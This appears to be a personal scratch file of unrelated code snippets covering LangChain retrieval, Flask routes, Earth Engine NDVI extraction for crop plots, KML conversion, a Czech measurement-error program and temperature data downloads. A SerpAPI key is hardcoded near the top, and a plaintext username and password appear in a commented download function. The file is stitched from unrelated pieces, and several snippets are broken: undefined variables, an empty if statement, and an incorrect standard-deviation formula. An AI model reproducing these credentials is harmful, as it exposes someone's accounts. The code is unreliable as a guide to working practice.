# \s matches any whitespace character (equivalent to [\r\n\t\f\v ])

from serpapi import GoogleSearch

params = {
  "q": "Coffee",
  "location": "Austin, Texas, United States",
  "hl": "en",
  "gl": "us",
  "google_domain": "google.com",
  "api_key": "381f56d7198076f0606f9d563798774bd6f56899511e8b4770216e5facd8668f"
}

search = GoogleSearch(params)
results = search.get_dict()

from langchain.embeddings.sentence_transformer import SentenceTransformerEmbeddings
from langchain.text_splitter import CharacterTextSplitter
from langchain.vectorstores import Chroma
from langchain.document_loaders import TextLoader

# load the document and split it into chunks
loader = TextLoader("")
documents = loader.load()
len(documents)
print(documents[0])

# split it into chunks
text_splitter = CharacterTextSplitter(chunk_size=1000, chunk_overlap=0)
docs = text_splitter.split_documents(documents)
len(docs)
print(docs[0])


# create the open-source embedding function
embedding_function = HuggingFaceEmbeddings

# load it into Chroma
db = Chroma.from_documents(docs, embedding_function, persist_directory="./chroma_db")

# query it
#query = "Question"
#docs = db.similarity_search(query)

# print results
print(docs[0].page_content)

docs = db2.similarity_search(query)

if 'abc' in str(my_list):

# Route to blacklist a creator
@app.route('/blacklist_creator/<int:creator_id>', methods=['POST'])
def blacklist_creator(creator_id):
    admin_id = session['user_id'] 

    
    creator_blacklist = CreatorBlacklist.query.filter_by(admin_id=admin_id, creator_id=creator_id).first()
    if creator_blacklist:
        flash('Creator is already blacklisted.', 'danger')
    else:
        creator_blacklist = CreatorBlacklist(admin_id=admin_id, creator_id=creator_id)
        db.session.add(creator_blacklist)
        db.session.commit()
        flash('Creator has been blacklisted.', 'success')

    return redirect(url_for('review_creator'))

# Route to whitelist a creator
@app.route('/whitelist_creator/<int:creator_id>', methods=['POST'])
def whitelist_creator(creator_id):
    admin_id = session['user_id']  
    creator_blacklist = CreatorBlacklist.query.filter_by(admin_id=admin_id, creator_id=creator_id).first()
    if creator_blacklist:
        db.session.delete(creator_blacklist)
        db.session.commit()
        flash('Creator has been whitelisted.','success')
    else:
        flash('Creator was not blacklisted.','danger')
    return redirect(url_for('review_creator'))  

docsearch.as_retriever(search_type="mmr")

# Retrieve more documents with higher diversity- useful if your dataset has many similar documents
docsearch.as_retriever(search_type="mmr", search_kwargs={'k': 6, 'lambda_mult': 0.25})

# Fetch more documents for the MMR algorithm to consider, but only return the top 5
docsearch.as_retriever(search_type="mmr", search_kwargs={'k': 5, 'fetch_k': 50})

# Only retrieve documents that have a relevance score above a certain threshold
docsearch.as_retriever(search_type="similarity_score_threshold", search_kwargs={'score_threshold': 0.8})

# Only get the single most similar document from the dataset
docsearch.as_retriever(search_kwargs={'k': 1})

# Use a filter to only retrieve documents from a specific paper
docsearch.as_retriever(search_kwargs={'filter': {'paper_title':'GPT-4 Technical Report'}})

engine = create_engine(
    f"trino://{user}:{user_key}@{host}:{port}/{catalog}", 
    connect_args={
        "auth": BasicAuthentication(user, user_key),
        "http_scheme": "https",
    }
)
connection = engine.connect()
query = f"""

"""

pd.read_sql(query, connection)

'''def download_data(urls):
    filenames = []
    
    for i, link in enumerate(urls):
        try:
            result = requests.get(link, cookies={'urs_user': 'liviaalvzs', 'urs_pass': 'Ss1234567890?'})
            result.raise_for_status()
            
            basename = get_filenames_from_urls(link)
            filenames.append(basename)
            
            with open(basename, 'wb') as f:
                f.write(result.content)
            
            print(f'O arquivo do link {link} foi baixado com sucesso e salvo como {basename}.')
            
        except requests.exceptions.HTTPError as errh:
            print ("HTTP Error:",errh)
        except requests.exceptions.ConnectionError as errc:
            print ("Error Connecting:",errc)
        except requests.exceptions.Timeout as errt:
            print ("Timeout Error:",errt)
        except requests.exceptions.RequestException as err:
            print ("Something went wrong:",err)
        
    return filenames

python3 manage.py makemigrations  --settings=CheckInPlatform.settings.localpkt 

python3 manage.py migrate  --settings=CheckInPlatform.settings.localpkt

import pandas as pd
import sqlite3

# Create database
conn = sqlite3.connect('guests.db')
c = conn.cursor()

# Create table
c.execute('''CREATE TABLE guests
             (id INTEGER PRIMARY KEY AUTOINCREMENT,
              name TEXT,
              phone TEXT,
              email TEXT,
              visits INTEGER)''')

# Insert data
df = pd.read_csv('guests.csv')
df.to_sql('guests', conn, if_exists='append', index=False)

# Close connection
conn.close()

dims = Z.dims
dictZ = {dims[1] : [500,700]}
dictZ
Z.sel(dictZ)

import os
import zipfile

def zipdir(path, ziph):
    # ziph is zipfile handle
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file),
                       os.path.relpath(os.path.join(root, file),
                                       os.path.join(path, '..')))

with zipfile.ZipFile('/content/m1.Zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
    zipdir('/content/m1', zipf)

import numpy as np
import matplotlib.pyplot as plt

# Create a sample dataset
data = np.random.randn(1000)

# Calculate the number of bins
num_bins = 10

# Create a histogram
hist, bins = np.histogram(data, bins=num_bins)

# Plot the histogram
plt.bar(bins[:-1], hist, width=bins[1] - bins[0])
plt.xlabel("Value")
plt.ylabel("Frequency")
plt.title("Histogram of Sample Data")
plt.show()

pip install -U pip setuptools
pip install wheel

pip install -U pip setuptools

!pip install eeconvert

pip install --upgrade urllib3

import pandas as pd
import geopandas as gpd
import datetime
import ee
import eeconvert

ee.Authenticate()
ee.Initialize()

from google.colab import drive
drive.mount('/content/drive')

Maiz_str = '/content/drive/MyDrive/Puntos/SHP/Col_2021_Maiz.shp'
Soja_str = '/content/drive/MyDrive/Puntos/SHP/Col_2021_Soja.shp'

df = gpd.read_file(Maiz_str, parse_dates=['Fecha_Siembra', 'Rango_Floor','Rango_Top'])
#df = gpd.read_file(Soja_str, parse_dates=['Fecha_Cosecha', 'Date_R3_Fr', 'Date_R6_Fr'])# en el registro 315 modifiqué el año 0201 por 2016 de la columna Fecha_Cosecha
#df = df.head(10)
display(df.columns)

df['Start_Date'] = pd.to_datetime(df['Rango_Flor']).dt.strftime('%Y-%m-%d')
df['End_Date'] = pd.to_datetime(df['Rango_Top_']).dt.strftime('%Y-%m-%d')


#df['Start_Date'] = pd.to_datetime(df['Date_R3_Fr']).dt.strftime('%Y-%m-%d')
#df['End_Date'] = pd.to_datetime(df['Date_R6_Fr']).dt.strftime('%Y-%m-%d')

df = df[df['Start_Date'].notna()]
df = df[df['End_Date'].notna()]
df = df[df['Longitud'].notna()]
df = df[df['Latitud'].notna()]

df = df[['Start_Date','End_Date', 'geometry', 'Parcela']]

new_df = pd.DataFrame([],columns=['id', 'longitude', 'latitude', 'time', 'NDVI', 'Parcela'])

for index, row in df.iterrows():
  newGDF = df.filter(items = [index], axis=0)
  fc = eeconvert.gdfToFc(newGDF)
  feature = fc.geometry().buffer(-125)
  print(row.Parcela)
  Start_Date = ee.Date(row.Start_Date)
  End_Date = ee.Date(row.End_Date)

  dataset = ee.ImageCollection("MODIS/061/MOD13Q1").select('NDVI').filter(ee.Filter.date(Start_Date,End_Date))
  NDVIvalues = dataset.getRegion(feature, 250).getInfo()
  NDVI_df = pd.DataFrame(NDVIvalues)
  NDVI_df.columns = NDVI_df.iloc[0]
  NDVI_df = NDVI_df.iloc[1:].reset_index(drop=True)
  NDVI_df.insert(1, "Parcela", row.Parcela)
  new_df = new_df.append(NDVI_df)

new_df.to_csv('/content/drive/MyDrive/Puntos/NDVI_Poligonos_Maiz.csv',header=True, index=False)

import os
import glob
import geopandas as gpd
import pandas as pd
import re

json_dir_name = "/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/"
json_pattern = os.path.join(json_dir_name,'*.geojson')
file_list = glob.glob(json_pattern)

collection = gpd.GeoDataFrame([])

for file in file_list:
    print(file)
    newGpd = gpd.read_file(file)
    newGpd['NAME'] = re.sub(r"[^a-zA-Z0-9]","_",os.path.basename(file)[:-8])
    collection = pd.concat([collection,newGpd])

collection = collection.loc[collection.geometry.geom_type=='Polygon']
collection.to_file('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/Col_2023_name.shp')

from shapely.geometry import *
import glob
import fiona
from zipfile import ZipFile
import pandas as pd
import io
import geopandas as gpd
from fastkml import kml
import shapely

def remove_third_dimension(geom):
    if geom.is_empty:
        return geom

    if isinstance(geom, Polygon):
        exterior = geom.exterior
        new_exterior = remove_third_dimension(exterior)

        interiors = geom.interiors
        new_interiors = []
        for int in interiors:
            new_interiors.append(remove_third_dimension(int))

        return Polygon(new_exterior, new_interiors)

    elif isinstance(geom, LinearRing):
        return LinearRing([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, LineString):
        return LineString([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, Point):
        return Point([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, MultiPoint):
        points = list(geom.geoms)
        new_points = []
        for point in points:
            new_points.append(remove_third_dimension(point))

        return MultiPoint(new_points)

    elif isinstance(geom, MultiLineString):
        lines = list(geom.geoms)
        new_lines = []
        for line in lines:
            new_lines.append(remove_third_dimension(line))

        return MultiLineString(new_lines)

    elif isinstance(geom, MultiPolygon):
        pols = list(geom.geoms)

        new_pols = []
        for pol in pols:
            new_pols.append(remove_third_dimension(pol))

        return MultiPolygon(new_pols)

    elif isinstance(geom, GeometryCollection):
        geoms = list(geom.geoms)

        new_geoms = []
        for geom in geoms:
            new_geoms.append(remove_third_dimension(geom))

        return GeometryCollection(new_geoms)

    else:
        raise RuntimeError("Currently this type of geometry is not supported: {}".format(type(geom)))
        
fiona.drvsupport.supported_drivers['kml'] = 'rw'
fiona.drvsupport.supported_drivers['KML'] = 'rw'
fiona.drvsupport.supported_drivers['libkml'] = 'rw'
fiona.drvsupport.supported_drivers['LIBKML'] = 'rw'

outDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/'
files = glob.glob('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/KMZ 2023/**/*.kml', recursive=True)

for file in files:
    print(file)
    polys = gpd.read_file(file, driver='KML')

    name = polys.Name
    geom = polys.geometry
    file_name = os.path.basename(file)[:-4]
    
    for (geom, name) in zip(geoms, names):
        geom = remove_third_dimension(geom)
        gdf = gpd.GeoDataFrame(index=[0], crs='epsg:4326', geometry=[geom])
        
        gdf.to_file(outDir+file_name+ "_"+name+'.geojson', driver='GeoJSON')

from shapely.geometry import *
import glob
from zipfile import ZipFile
import pandas as pd
import io
import geopandas as gpd
from fastkml import kml
import shapely

def remove_third_dimension(geom):
    if geom.is_empty:
        return geom

    if isinstance(geom, Polygon):
        exterior = geom.exterior
        new_exterior = remove_third_dimension(exterior)

        interiors = geom.interiors
        new_interiors = []
        for int in interiors:
            new_interiors.append(remove_third_dimension(int))

        return Polygon(new_exterior, new_interiors)

    elif isinstance(geom, LinearRing):
        return LinearRing([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, LineString):
        return LineString([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, Point):
        return Point([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, MultiPoint):
        points = list(geom.geoms)
        new_points = []
        for point in points:
            new_points.append(remove_third_dimension(point))

        return MultiPoint(new_points)

    elif isinstance(geom, MultiLineString):
        lines = list(geom.geoms)
        new_lines = []
        for line in lines:
            new_lines.append(remove_third_dimension(line))

        return MultiLineString(new_lines)

    elif isinstance(geom, MultiPolygon):
        pols = list(geom.geoms)

        new_pols = []
        for pol in pols:
            new_pols.append(remove_third_dimension(pol))

        return MultiPolygon(new_pols)

    elif isinstance(geom, GeometryCollection):
        geoms = list(geom.geoms)

        new_geoms = []
        for geom in geoms:
            new_geoms.append(remove_third_dimension(geom))

        return GeometryCollection(new_geoms)

    else:
        raise RuntimeError("Currently this type of geometry is not supported: {}".format(type(geom)))
        
outDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/'
files = glob.glob('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/KMZ 2023/**/*.kmz', recursive=True)

for file in files:
    print(file)
    
    kmz = ZipFile(file, 'r')
    kml_content = kmz.open('doc.kml', 'r').read()

    k = kml.KML()
    k.from_string(kml_content)
    
    docs = list(k.features())
    
    folders = []
    for d in docs:
        folders.extend(list(d.features()))
    
    records = []
    
    while type(folders[0]) is not type(kml.Placemark('{http://www.opengis.net/kml/2.2}', 'id', 'name', 'description')):
        records = []
        for f in folders:
            records.extend(list(f.features()))
        folders = records
    
    names = [element.name for element in folders]

    geoms = [element.geometry for element in folders]
    
    file_name = os.path.basename(file)[:-4]
    
    for (geom, name) in zip(geoms, names):
        geom = remove_third_dimension(geom)
        gdf = gpd.GeoDataFrame(index=[0], crs='epsg:4326', geometry=[geom])
        
        gdf.to_file(outDir+file_name+ "_"+name+'.geojson', driver='GeoJSON')

from google.colab import drive
drive.mount('/content/drive')
base_dir = "/content/drive/MyDrive/vision_computador"
os.chdir(base_dir)
print('actual direccion de trabajo:',base_dir)

# ingresar direccion de la carpeta de trabajo
WORKPLACE_DIR = None
assert WORKPLACE_DIR is not None, "[!] Enter the la direccion de la carpeta de trabajo."

# This function chooses at random which action to be performed within the range 
# of all the available actions.
def ActionChoice(available_actions_range):
    if(sum(PossibleAction)>0):
        next_action = int(ql.random.choice(PossibleAction,1))
    if(sum(PossibleAction)<=0):
        next_action = int(ql.random.choice(5,1))
    return next_action

# Sample next action to be performed
action = ActionChoice(PossibleAction)

I highly recommend you tf.data.Dataset for creating the dataset:

Do all processes (like resize and normalize) that you want on all images with dataset.map.
Instead of using train_test_split, Use dataset.take, datast.skip for splitting dataset.
Code for generating random images and label:

# !pip install autokeras
import tensorflow as tf
import autokeras as ak
import numpy as np

data = np.random.randint(0, 255, (45_000,32,32,3))
label = np.random.randint(0, 10, 45_000)
label = tf.keras.utils.to_categorical(label) 
 Save
Convert data & label to tf.data.Dataset and process on them: (only 55 ms for 45_000, benchmark on colab)

dataset = tf.data.Dataset.from_tensor_slices((data, label))
def resize_normalize_preprocess(image, label):
    image = tf.image.resize(image, (16, 16))
    image = image / 255.0
    return image, label

# %%timeit 
dataset = dataset.map(resize_normalize_preprocess, num_parallel_calls=tf.data.AUTOTUNE)
# 1 loop, best of 5: 54.9 ms per loop
 Save
Split dataset to 80% for train and 20% for test
Train and evaluate AutoKeras.ImageClassifier
dataet_size = len(dataset)
train_size = int(0.8 * dataet_size)
test_size = int(0.2 * len(dataset))

dataset = dataset.shuffle(32)
train_dataset = dataset.take(train_size)
test_dataset = dataset.skip(train_size)

print(f'Size dataset : {len(dataset)}')
print(f'Size train_dataset : {len(train_dataset)}')
print(f'Size test_dataset : {len(test_dataset)}')

clf = ak.ImageClassifier(overwrite=True, max_trials=1)
clf.fit(train_dataset, epochs=1)
print(clf.evaluate(test_dataset))

>>> import shutil, os

>>> os.chdir('C:\\')
>>> shutil.copy('C:\\spam.txt', 'C:\\delicious')
# C:\\delicious\\spam.txt'

>>> shutil.copy('eggs.txt', 'C:\\delicious\\eggs2.txt')
# 'C:\\delicious\\eggs2.txt'

>>> import os
>>> os.makedirs('C:\\delicious\\walnut\\waffles')

>>> import os

>>> os.getcwd()
# 'C:\\Python34'
>>> os.chdir('C:\\Windows\\System32')

>>> os.getcwd()
# 'C:\\Windows\\System32'

>>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']

>>> for filename in my_files:
...     print(os.path.join('C:\\Users\\asweigart', filename))
...
# C:\Users\asweigart\accounts.txt
# C:\Users\asweigart\details.csv
# C:\Users\asweigart\invite.docx

import csv

import json



# Open the JSON file

with open('data.json') as json_file:

    data = json.load(json_file)



# Create a new CSV file and write the data

with open('data.csv', 'w', newline='') as csv_file:

    writer = csv.DictWriter(csv_file, fieldnames=data[0].keys())

    writer.writeheader()

    for row in data:

        writer.writerow(row)

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
  
  
    <ul class="nav">
            <li><i class="fas fa-home"></i><a href="#">Home</a></li>
            <li><i class="fas fa-user"></i><a href="#">Profile</a></li>
            <li><i class="fas fa-envelope"></i><a href="#">Messages</a></li>
            <li><i class="fas fa-cog"></i><a href="#">Settings</a></li>
        </ul>

def pull_file(URL, savepath):
    r = requests.get(URL)
    with open(savepath, 'wb') as f:
        f.write(r.content)   
    # Use the print method for logging
    print(f"File pulled from {URL} and saved to {savepath}")

from airflow.operators.python_operator import PythonOperator

# Create the task
pull_file_task = PythonOperator(
    task_id='pull_file',
    # Add the callable
    python_callable=pull_file,
    # Define the arguments
    op_kwargs={'URL':'http://dataserver/sales.json', 'savepath':'latestsales.json'},
    dag=process_sales_dag
)

import pandas as pd
import geopandas as gps
import datetime
import ee

ee.Authenticate()
ee.Initialize()

from google.colab import drive
drive.mount('/content/drive')

"""Selccionar Cultivo"""
#Maiz_str = '/content/drive/MyDrive/Puntos/Maiz.csv'
#df = pd.read_csv(Maiz_str, parse_dates=['Fecha_Siembra', 'Rango_Floor','Rango_Top'])

Soja_str = '/content/drive/MyDrive/Puntos/Soja.csv'
df = pd.read_csv(Soja_str, parse_dates=['Fecha_Cosecha', 'R3', 'R6'])
# En archivo de soja fila 315, columna Fecha_Cosecha modifiqué año 0201 por 2016 

df['Start_Date'] = df['R3']
df['End_Date'] = df['R6']

df = df[df['Start_Date'].notna()]
df = df[df['End_Date'].notna()]
df = df[df['Longitud'].notna()]
df = df[df['Latitud'].notna()]

new_df = pd.DataFrame([],columns=['id', 'longitude', 'latitude', 'time', 'NDVI', 'Parcela','Codigo_Lote'])

for index, row in df.iterrows():

    feature = ee.Algorithms.GeometryConstructors.Point([row.Longitud,row.Latitud])

    Start_Date = ee.Date(row.Start_Date)
    End_Date = ee.Date(row.End_Date)

    dataset = ee.ImageCollection("MODIS/061/MOD13Q1").select('NDVI').filter(ee.Filter.date(Start_Date,End_Date))
    NDVIvalues = dataset.getRegion(feature, 250).getInfo()
    NDVI_df = pd.DataFrame(NDVIvalues)
    NDVI_df.columns = NDVI_df.iloc[0]
    NDVI_df = NDVI_df.iloc[1:].reset_index(drop=True)
    NDVI_df.insert(1, "Parcela", row.Parcela)
    NDVI_df.insert(1, "Codigo_Lote", row.Codigo_Lote)
    new_df = new_df.append(NDVI_df)

new_df.to_csv('/content/drive/MyDrive/Puntos/NDVI_Puntos.csv',header=True, index=False)

# Je to na tema co jsme delali ve fyzice jen cast tridy a nevim jestli je to latka ale pokud ano tak tohle muze byt jako kontrola kdyz by na to byl trrrreba tesst
# Tady je celej kod
# Nakodoval jsem to já, není to ukradnutý
# Mělo by to fungovat, 1x jsem to zkoušel počítat ručně a přes program. Řučně to trvalo tak 100x dýl a ještě to nebylo přesný. A funguje to
# Asi to neni nic extre protoze nejsem 6tilety študent, ale účel to plní




# Dalsi projekty kdyztak na kubasobr.blogspot.com
import random
import time
import math

import os

def Zacatek():
    ascii_art1 = """ .----------------.  .----------------.  .----------------.  .----------------. 
| .--------------. || .--------------. || .--------------. || .--------------. |
| |    _______   | || |     ____     | || | ____    ____ | || | ____   ____  | |
| |   /  ___  |  | || |   .'    `.   | || ||_   \  /   _|| || ||_  _| |_  _| | |
| |  |  (__ \_|  | || |  /  .--.  \  | || |  |   \/   |  | || |  \ \   / /   | |
| |   '.___`-.   | || |  | |    | |  | || |  | |\  /| |  | || |   \ \ / /    | |
| |  |`\____) |  | || |  \  `--'  /  | || | _| |_\/_| |_ | || |    \ ' /     | |
| |  |_______.'  | || |   `.____.'   | || ||_____||_____|| || |     \_/      | |
| |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------' """
    print(ascii_art1)
    ascii_art2 = """      _       _          _       ____        _          
     | | __ _| | ___   _| |__   / ___|  ___ | |__  _ __ 
  _  | |/ _` | |/ / | | | '_ \  \___ \ / _ \| '_ \| '__|
 | |_| | (_| |   <| |_| | |_) |  ___) | (_) | |_) | |   
  \___/ \__,_|_|\_\\__,_|_.__/  |____/ \___/|_.__/|_|   
                                                        """
    print(ascii_art2)

    print("Vítejte u programu SOMV, který jsem vytvořil jako malý projekt do fyziky když jsem se nudil. SOMV stojí pro Směrodatná odchylka měření veličiny"+"\n"+"Program je určen jako pomůcka k měření. Program vám vypočítá SOMV a i Relativní odchylku  aby jste věděli jak přesně jste měřili"+"\n"+"Program vytvoří i graf s vámi danými hodnotami"+"\n"+"Je to vše naprogramované přes python, jelikož to je jediný co umím vcelku, max základy html css a javascript."+"\n"+"\n"+"NÁVOD k použití:"+"\n"+"Program se vás bude ptát na měřené hodnoty a vy je bude zadávat ve STEJNÝCH jednotkách(v nové verzi možná vylepším)"+"\n"+"Jakmile zadáte všechny hodnoty co chcete tak program sám řekne co dál."+"\n"+"Autorem je Jakub Šobr Videnska 1.B, update ohlášeny předem na kubasobr.blogspot.cz")


    print("")
    print("START PROGRAMU")
    random_cislo = random.randint(0,100)
    start_otazka = int(input("Napište číslo "+str(random_cislo) +" pro start programu: "))
    if start_otazka == random_cislo:
        Informace_funkce()
    else:
        print("")
        print("OZNÁMENÍ")
        print("Bud jste zadali špatné číslo a nebo nastalo v programu k chybě")
        print("Za pět sekund bude zapnuta začáteční funkce znovu.")
        print("")
        time.sleep(5)
        Zacatek()

def Informace_funkce():
    print("")
    print("PROGRAM STARTUJE")
    otazka_pocet_hodnot = int(input("INFORMACE 1 - Kolikrát jste provedli měření?: "))
    otazka_jednotka = input("INFORMACE 2 - Zadejte jednotku v níž jste prováděli měření (cm,dm,m,litr apod): ")
    tts = input("INFORMACE 3 - Chcete aby program výsledek zazněl jako text to speech? ano / ne: ")


    def Hlavni_funkce(pocet_hodnot,jednotka):
        print("")
        aktualni_cislo = 1
        hodnoty_list = []
        index = 0
        celkove = 0

        for _ in range(pocet_hodnot):
            hodnota = float(input("Zadejte hodnotu č."+str(aktualni_cislo)+" : "))
            celkove += hodnota
            hodnoty_list.insert(index, hodnota)
            index +=1
            aktualni_cislo +=1


        ar_prumer = celkove/pocet_hodnot
        def Casti(aritmeticky_prumer):
            index_cteni  = 0
            soucet_casti = 0
            for hodnota in hodnoty_list:
                cast = (hodnota - aritmeticky_prumer) ** 2
                soucet_casti += cast
                index_cteni += 1
            # Odmocní celkový součet
            citatel = soucet_casti ** 0.5
            jmenovatel = pocet_hodnot *(pocet_hodnot-1)

            odchylka = citatel /jmenovatel
            minus_interval = aritmeticky_prumer-odchylka
            plus_interval = aritmeticky_prumer+odchylka
            relativni_odchylka = odchylka/aritmeticky_prumer

            # Rounding
            round_odchylka = round(odchylka,3)
            round_minus_interval = round(minus_interval,3)
            round_plus_interval = round(plus_interval, 3)
            round_relativni_odchylka = round(relativni_odchylka, 3)

            # Uprava pro tts
            uprava_round_odchylka = str(round_odchylka).replace('.', ',')
            uprava_round_minus_interval = str(round_minus_interval).replace('.', ',')
            uprava_round_plus_interval = str(round_plus_interval).replace('.', ',')
            uprava_round_relativni_odchylka = str(round_relativni_odchylka).replace('.', ',')
            if odchylka > 0.5:
                text = ("Systém odhalil nepřesné měření! Odchylka je +- " + str(round_odchylka) + str(
                    jednotka) + " Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                    round_plus_interval) + ". Relativní odchylka je " + str(
                    round_relativni_odchylka) + " Děkujeme za použití programu.")
                presne_hodnoty = ("Odchylka = "+str(odchylka)+"\n"+"Interval = od "+str(minus_interval)+" po "+str(plus_interval)+"\n"+"Relativní odchylka = "+str(relativni_odchylka))
                print(text)
                presne_ot = int(input("Chcete vidět přesné hodnoty(1) nebo stačí obecnější?(2): "))
                if presne_ot == 1:
                    print(presne_hodnoty)

            else:
                text = ("Měření je v pořádku! Odchylka je +- " + str(round_odchylka) + str(
                    jednotka) + " Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                    round_plus_interval) + ". Relativní odchylka je " + str(
                    round_relativni_odchylka) + " Děkujeme za použití programu.")
                presne_hodnoty = ("Odchylka = "+str(odchylka)+"\n"+"Interval = od "+str(minus_interval)+" po "+str(plus_interval)+"\n"+"Relativní odchylka = "+str(relativni_odchylka))
                print(text)
                presne_ot = int(input("Chcete vidět přesné hodnoty(1) nebo stačí obecnější?(2): "))
                if presne_ot == 1:
                    print(presne_hodnoty)


            def Tts():
                # User Inteface
                if odchylka > 1:
                    text = ("Systém odhalil nepřesné měření! Odchylka je +- " + str(uprava_round_odchylka) + str(
                        jednotka) + " Reálná hodnota je někde mezi " + str(uprava_round_minus_interval) + " a " + str(
                        uprava_round_plus_interval) + ". Relativní odchylka je " + str(
                        uprava_round_relativni_odchylka) + " Děkujeme za použití programu.")
                    print(text)
                else:
                    text = ("Měření je v pořádku! Odchylka je +- " + str(uprava_round_odchylka) + str(
                        jednotka) + " Reálná hodnota je někde mezi " + str(uprava_round_minus_interval) + " a " + str(
                        uprava_round_plus_interval) + ". Relativní odchylka je " + str(
                        uprava_round_relativni_odchylka) + " Děkujeme za použití programu.")
                    print(text)

                from gtts import gTTS
                import os

                # Text, který chcete převést na hlas
                if odchylka > 1:
                    text = "Systém odhalil nepřesné měření! Odchylka je +-" + str(round_odchylka) + " " + str(
                        jednotka) + "Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                        round_plus_interval) + ". Relativní odchylka je " + str(
                        round_relativni_odchylka) + "Děkujeme za použití programu."
                else:
                    text = "Měření je v pořádku! Odchylka je +-" + str(round_odchylka) + " " + str(
                        jednotka) + "Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                        round_plus_interval) + ". Relativní odchylka je " + str(
                        round_relativni_odchylka) + "Děkujeme za použití programu."

                # Vytvoření instance gTTS s textem a nastavením jazyka na češtinu
                tts = gTTS(text, lang='cs')

                # Uložení hlasového souboru na disk
                tts.save("nahravka.mp3")

                # Přehrání hlasového souboru (vyžaduje externí přehrávač)
                os.system("nahravka.mp3")
            def graf_menu():
                text = """                   __ 
   __ _ _ __ __ _ / _|
  / _` | '__/ _` | |_ 
 | (_| | | | (_| |  _|
  \__, |_|  \__,_|_|  
  |___/               """
                print(text)
                otazka = input("Chcete zobrazit hodnoty ve grafu? ano / ne: ")
                if otazka == "ano":
                    graf()
                else:
                    print("Děkujeme za použití programu. Program se vypne za 10 sekund")
                    time.sleep(10)
            def graf():
                import matplotlib.pyplot as plt

                import matplotlib.pyplot as plt
                import numpy as np

                #hodnoty_list = [15, 18, 12, 25, 14]
                jednotka = "cm"
                poradi = list(range(1, pocet_hodnot + 1))  # Od 1 do pocet_hodnot

                # Příprava dat
                x = poradi
                y = hodnoty_list

                # Vytvoření čárového grafu
                plt.plot(x, y, label='Vámi změřené hodnoty', color='b')

                # Přidání první horizontální čáry na hodnotu 16 s červenou barvou
                plt.axhline(y=minus_interval, color='r', linestyle='-.', label='Mínusový interval')

                # Přidání druhé horizontální čáry na hodnotu 22 s červenou barvou
                plt.axhline(y=plus_interval, color='r', linestyle='-.', label='Plusový interval')

                # Přidání tučné zelené čáry na hodnotu 20
                plt.axhline(y=aritmeticky_prumer, color='g', linestyle='--', linewidth=3, label='Aritmetický průměr')

                # Vyplnění prostoru mezi červenými čarami
                plt.fill_between(x, minus_interval, plus_interval, color='yellow', alpha=0.5, label='Interval odchylky')

                # Nastavení popisků os
                plt.ylabel('Hodnoty v ' + jednotka)
                plt.xlabel('Pořadí')

                # Zobrazení legendy
                plt.legend()

                # Zobrazení grafu
                plt.show()

            if tts == "ano":
                Tts()
                graf_menu()
            else:
                graf_menu()

        Casti(ar_prumer)







    Hlavni_funkce(otazka_pocet_hodnot,otazka_jednotka)

Zacatek()
# made by jkob sobr 23 original

!pip install rasterstats
!pip install rasterio
!pip install leafmap

import glob
import pandas as pd
import rasterio
from rasterio.mask import mask
import geopandas as gps
from rasterstats import zonal_stats

from google.colab import drive
drive.mount('/content/drive')

files = glob.glob(f"/content/drive/MyDrive/Sura/Datos TMax/2011_15/SAMeT_CPTEC_TMAX_2013*.nc")
print(len(files))

grid_str = '/content/drive/MyDrive/Sura/Seccionales_Policiales_WGS84_Selected.shp'
poligonos = gps.read_file(grid_str)

df = pd.DataFrame([], columns=['fecha', 'median', 'CODIGOSECC'])

for file in files:

    with rasterio.open('netcdf:'+ file + ':tmax') as msla_nc:
        msla_nc_data = msla_nc.read(1)

    affine= msla_nc.transform

    print(file)
    for index, row in poligonos.iterrows():
        features = row.geometry

        zs = zonal_stats(features, msla_nc_data,affine=affine,all_touched= False,
                    stats="median")

        df = df.append(pd.DataFrame([[zs[0].get('median'), str(file)[-11:-3],row['CODIGOSECC']]],
                    columns=['median', 'fecha','CODIGOSECC']))

        print(row['CODIGOSECC'])

df.to_csv('/content/drive/MyDrive/Sura/Tmax2013.csv',header=True, index=False)


import glob
import pandas as pd

df = pd.DataFrame([], columns=['fecha', 'median', 'CODIGOSECC'])

files = glob.glob(f"/content/drive/MyDrive/Sura/Datos TMax/Tmax2*.csv")
print(len(files))
for file in files:
  df = df.append(pd.read_csv(file))
#print(df)
df['fecha'] = df['fecha'].astype(str)
df['year'] = df.fecha.str[:4]
df['month'] = df.fecha.str[4:6]
df['day'] = df.fecha.str[-2:]
#display(df.groupby('year').count())

df.to_csv('/content/drive/MyDrive/Sura/TmaxCompleto.csv',header=True, index=False)

import os
import requests
from bs4 import BeautifulSoup
import urllib.request
from urllib.parse import urljoin

base_url = 'http://ftp.cptec.inpe.br/'

baseDir = 'modelos/tempo/SAMeT/DAILY/TMAX/'

outputDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Sura/CPTEC/Faltantes/'

years = list(range(2022, 2023))
months = list(range(1,4))+list(range(10, 13))
#months = list(range(10, 13))
for year in years:

    for month in months:
        if month < 10:
            ftp_path = base_url + baseDir + str(year) + '/0' + str(month) + '/'
        elif month >= 10:
            ftp_path = base_url + baseDir + str(year) + '/' + str(month) + '/'
        
        # List folder content
        response = requests.get(ftp_path)
        
